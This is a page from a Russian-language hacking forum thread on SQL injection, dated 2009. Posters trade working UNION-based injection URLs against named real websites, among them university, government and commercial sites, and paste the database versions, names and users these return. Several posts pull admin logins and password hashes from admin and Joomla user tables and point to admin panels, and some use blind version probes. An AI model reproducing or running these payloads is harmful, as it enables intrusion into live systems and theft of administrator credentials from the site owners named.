SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.whr.org.np/event/event.php?id=-1+union+select+1,2,3,concat_Ws(0x3a,version(),database(),user()),5,6,7--

    4.1.22-standard:whrorg_whrsanwedorg:whrorg_user@localhost
     
    _________________________
  2. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.disabilityconsultants.org.au/findconsultant.php?command=showbigconsultant&itemtypeid=6&consultantsid=-6+UNION+SELECT+1,2,3,4,concat_ws(0x3a,version(),database(),useR(),@@version_compile_os),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

    Database Version: 5.0.81-community
    Database name: disabili_disabilityconsultants
    User name: disabili_chris@localhost
    Os : pc-linux-gnu
     
    2 people like this.
  3. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    http://www.np-icet.ru/index1.php?key=russeminars&id=-1+union+select+1,concat_Ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9,10--

    5.0.51:db5709j:us5709j@localhost

    tables: pages_topics,news,seminars_rus,pages_additional,seminars_world,pages_index,pages_subtopics,banners
     
    _________________________
  4. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.entacom.com.au/?p=catalog&c=21&s=-658+UNION+SELECT+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7,8,9,10,11,12--&v=RZ-DESTRUCTOR



    Database Version: 4.1.22-standard-log
    Database name: scott_entacom
    User name: scott_root@localhost
    Os : unknown-linux-gnu
     
  5. W@r.N0i$e

    Joined:
    2 Jun 2009
    Messages:
    54
    Likes Received:
    51
    Reputations:
    12
    http://www.terminators.ru/index.php?mode=5&rw_key=-1+union+select+version(),user(),data base(),@@version_compile_os/*


    Database Version: 4.1.22-log
    Database name: wwwterminatorsru
    User name: termin03@localhost
    OS: portbld-freebsd6.2
     
    #9865 [email protected]$e, 17 Jun 2009
    Last edited: 17 Jun 2009
  6. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.campingworld.com.au/site/products.php?prodid=-154+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat_ws(0x3a,version(),database(),useR(),@@version_compile_os),17,18,19,20/*&iscatid=13&issubid=32


    Database Version: 4.1.22
    Database name: cms_db
    User name: cmsuser@localhost
    Os : redhat-linux-gnu
     
  7. Skofield

    Skofield Elder - Старейшина

    Joined:
    27 Aug 2008
    Messages:
    960
    Likes Received:
    392
    Reputations:
    58
    http://itp.nyu.edu PR 6
    Code:
    http://itp.nyu.edu/thesis/spring2007/stream.php?movieID=1+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13,14/*
    Database Version - 5.0.45-log
    Database name - video_comments
    User name - vc_update@localhost
     
  8. nicusor

    nicusor Elder - Старейшина

    Joined:
    19 Mar 2008
    Messages:
    105
    Likes Received:
    38
    Reputations:
    0
    http://mbantua[dot]com[dot]au
    PR 5

    http://mbantua[dot]com[dot]au/news.php?id=9999+union+select+1,concat_ws(0x3a,user(),version(),database()),3,4,5,6,7,8,9--

    user() = [email protected]
    version() = 5.0.67-log
    database() = Mbantua_website


    пароль админа
    http://mbantua[dot]com[dot]au/news.php?id=-55+union+select+1,concat_ws(0x3a,login,password),3,4,5,6,7,8,9+from+admin--

    сама админка
    http://mbantua[dot]com[dot]au/admin
     
    2 people like this.
  9. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    kuba@localhost
    5.0.68
    ifr


    dorosh_fuser@localhost
    4.1.22-standard-log
    dorosh_fm
     
  10. AlexSatter

    AlexSatter Member

    Joined:
    29 Jan 2009
    Messages:
    303
    Likes Received:
    92
    Reputations:
    33
    Code:
    http://www.etechnology.ru/mk.php?id=-1001+union+select+1,concat_ws(0x3a,version(),user(),database()),3
    4.0.27-log:[email protected]:etechnology

    Code:
    http://www.swiss-luxury-world.ch/watches/en/watchbrands/marke/mk.php?md=405&id=-4+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4
    вывод в тайтле

    Code:
    http://www.cmes.arizona.edu/resources/mp.php?id=-23+union+select+1,2,3,concat_ws(0x3a,version(),user(),database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31
    4.0.12:cmes_web@localhost:cmes

    Code:
    http://www.rallyonline.pl/mp.php?1&&modex=pokaz&T[id]=-1163+union+select+1,2,concat_ws(0x3a,version(),user(),database()),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
    5.1.30-log:mysql@localhost:rallyonline_utf

    Code:
    http://2b-i.co.uk/2B-me.php?id=-13+union+select+concat_ws(0x3a,version(),user(),database())
    5.0.67-community:ibmys0_web2bi@localhost:ibmys0_db2bi

    Code:
    http://confident-image.co.uk/2B-me.php?id=-32+union+select+concat_ws(0x3a,version(),user(),database())
    5.0.67-community:ibmys0_web2bi@localhost:ibmys0_db2bi

    Code:
    http://www.klara-rulikova.cz/volby-do-senatu-pisi-o-me.php?ID=-1+union+selecT+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16
    5.0.51a-3ubuntu5.4-log:[email protected]:klararulik

    Code:
    http://global-travel.mobi/hotels-my.php?id=4882+and+substring(version(),1,1)=5
    Code:
    http://www.latoi.com/my.php?user_id=2205&id=532+and+substring(version(),1,1)=4
    Code:
    http://www.tuk-tuk.com/member/my.php?id=198+and+substring(version(),1,1)=5
    Code:
    http://www.akademik-m.by/page.php?id=43+and+substring(version(),1,1)=5
     
    #9870 AlexSatter, 18 Jun 2009
    Last edited: 18 Jun 2009
  11. udman

    udman Elder - Старейшина

    Joined:
    21 Apr 2009
    Messages:
    224
    Likes Received:
    105
    Reputations:
    25
    nibulon_31@localhost
    5.0.67-0ubuntu6
    nibulon_31


    komsomol_alex@localhost
    5.0.77-community
    komsomol_komsomol
     
    #9871 udman, 18 Jun 2009
    Last edited: 18 Jun 2009
  12. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    User: athletics@localhost
    Version: 5.0.45
    Dbname: athletics_main
     
  13. Dj-Matrix

    Dj-Matrix New Member

    Joined:
    7 Nov 2008
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    Version: 5.0.67
     
    1 person likes this.
  14. DezMond™

    DezMond™ Elder - Старейшина

    Joined:
    10 Jan 2008
    Messages:
    3,619
    Likes Received:
    432
    Reputations:
    234
    http://www.avto-tyre.ru/item_view.php?item_id=-1407+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+mysql.user+--+

    http://www.elmash-holding.ru/elmcatalog/item/?item_id=473+union+select+1,2,3,4,database(),6,7+/*+
    elektromash

    http://www.elmh.ru/elmcatalog/item/?item_id=453+union+select+1,2,3,4,version(),6,7+/*+
    4.0.27-log

    Tic 1000
    http://www.litsovet.ru/index.php/litob.journal.view?item_id=-193+UNION+SELECT+1,2,3,concat_ws(0x3a3a,admin_login,admin_psw,admin_name,admin_mail),5,6,7,8,9,10,11,12,13,14,15+from+tbl_admin+--+
    litob.journal.view?item_id=-193+UNION+SELECT+1,2,3,concat_ws(0x3a3a,admin_id,admin_name,admin_login,admin_password,admin_status),5,6,7,8,9,10,11,12,13,14,15+from+admin+--+
     
  15. Dj-Matrix

    Dj-Matrix New Member

    Joined:
    7 Nov 2008
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    Powered by phpBB2
    mysql version: 4.1.20
     
  16. Adm1n4eG

    Adm1n4eG Member

    Joined:
    27 Mar 2009
    Messages:
    24
    Likes Received:
    13
    Reputations:
    6
    imakorru
    imakorru@localhost
    5.0.51-Dotdeb_0.dotdeb.0-log
     
    1 person likes this.
  17. Dobby007

    Dobby007 Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    1
    Увидел сегодня этот сайт в PHP-инъекциях. Думаю... Посмотрю: может че еще есть... Оказалось, что есть :) Да простит меня Adm1n4eG :)
    VERSION(): 5.0.16
    USER(): [email protected]
    BAZA(): govor
    OS(): portbld-freebsd6.0
    Таблицы:
    GAccess,GBase,GBaseImg,GHotLink,GHotel,GHotelImg,GNews,GNewsImg,GPlace,GPlaceB,GSeason,GTour,GTourImg,GType,forum,new,news
    Колонки в таблице GAccess:
    GAcId,GLog,GPass,GIP,GSet
    А вот и долгожданный админ... :)
     
    #9877 Dobby007, 18 Jun 2009
    Last edited: 18 Jun 2009
    2 people like this.
  18. Flair

    Flair Member

    Joined:
    7 May 2009
    Messages:
    36
    Likes Received:
    13
    Reputations:
    9
    Code:
    http://www.aikidoural.ru/index.php?option=com_xfaq&task=answer&Itemid=S@BUN&catid=97&aid=-9988%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),0x3a,password,0x3a,%20%20username,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0/**/from/**/jos_users/*
    Code:
    http://tango.net.ua/index.php?option=com_xfaq&task=answer&Itemid=S@BUN&catid=97&aid=-9988%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/concat(username,0x3a,password),0x3a,password,0x3a,%20%20username,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0/**/from/**/jos_users/*
     
    #9878 Flair, 18 Jun 2009
    Last edited: 19 Jun 2009
  19. Flair

    Flair Member

    Joined:
    7 May 2009
    Messages:
    36
    Likes Received:
    13
    Reputations:
    9
    Code:
    http://avtos.su/index.php?option=com_jooget&Itemid=S@BUN&task=detail&id=-1/**/union/**/select/**/0,333,0x3a,333,222,222,222,111,111,111,0,0,0,0,0,0%20,0,0,1,1,2,2,concat(username,0x3a,password)/**/from/**/jos_users/*

    Code:
    http://www.milkoff.ru/index.php?option=com_jooget&Itemid=S@BUN&task=detail&id=-1/**/union/**/select/**/0,333,0x3a,333,222,222,222,111,111,111,0,0,0,0,0,0%20,0,0,1,1,2,2,concat(username,0x3a,password)/**/from/**/jos_users/*
     
    4 people like this.
  20. M.W.N.N.

    M.W.N.N. Member

    Joined:
    5 Jan 2009
    Messages:
    173
    Likes Received:
    78
    Reputations:
    6
    Code:
    http://www.suncity-travel.com/index.php?id=34+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11+limit+1,1/*
    version():4.0.23a-log
    database():suncity
    user():scorp@localhost
    __
    Code:
    http://www.mathrubhumi.org/travel/news.php?id=8935+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13,14,15,16,17,18,19
    version():5.0.45
    database():entravel
    user():dedop@localhost
    __
    Code:
    http://www.azores.com/travel/tour.php?id=56+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47++limit+1,1/*
    version():5.0.45
    database():azoresco
    user():azoresco@localhost
    __
    Code:
    http://soloentreamigas.com.ve/articulo.php?ID=60+union+select+1,2,3,4,5,concat_ws(0x3a,version(),database(),user()),7,8,9,10,11,12,13,14,15,16,17,18,19+limit+1,1/*
    version():5.0.37-community-log
    database():chicas
    user():[email protected]
    __
    Code:
    http://www.cavim.com.ve/pub.php?id=40+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user()),6,7,8,9,10,11,12,13,14,15,16,17,18
    version():5.0.51a-community-log
    database():cavimc_cavim
    user():cavimc_sa@localhost
    __
    Code:
    http://epetitions.bristol.gov.uk/petition.php?id=166+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user()),8,9,10,11,12,13,14,15
    version():5.0.60-log
    database():bristol_epetitioner
    user():epetitioner_user@localhost
     
    #9880 M.W.N.N., 18 Jun 2009
    Last edited: 19 Jun 2009
Thread Status:
Not open for further replies.